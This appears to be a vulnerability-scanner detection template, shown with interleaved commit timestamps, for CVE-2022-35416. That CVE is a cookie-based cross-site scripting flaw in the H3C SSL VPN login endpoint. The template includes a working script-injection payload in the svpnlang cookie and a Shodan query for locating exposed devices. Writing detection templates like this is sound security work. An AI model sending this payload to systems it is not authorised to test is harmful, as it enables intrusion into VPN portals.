2022-07-14 10:44:12 +00:00
|
|
|
id: CVE-2022-35416
|
|
|
|
|
|
|
|
info:
|
2022-09-16 19:50:10 +00:00
|
|
|
name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
|
2022-07-14 10:44:12 +00:00
|
|
|
author: 0x240x23elu
|
2022-09-16 19:50:10 +00:00
|
|
|
severity: high
|
2022-07-14 10:44:12 +00:00
|
|
|
description: |
|
2022-09-16 19:50:10 +00:00
|
|
|
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
|
2022-07-14 10:44:12 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
|
|
|
|
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
|
2022-07-16 12:45:45 +00:00
|
|
|
classification:
|
2022-09-16 19:50:10 +00:00
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
2022-07-16 12:45:45 +00:00
|
|
|
cwe-id: CWE-79
|
2022-09-16 19:50:10 +00:00
|
|
|
cve-id: CVE-2022-35416
|
2022-07-14 10:44:12 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.html_hash:510586239
|
2022-07-16 12:45:45 +00:00
|
|
|
verified: "true"
|
2022-07-14 10:44:12 +00:00
|
|
|
tags: cve,cve2022,xss,vpn,h3c
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /wnm/login/login.json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Cookie: svpnlang=<script>alert('document.domain')</script>
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "<script>alert('document.domain')</script>"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-09-16 19:50:10 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/09/14
|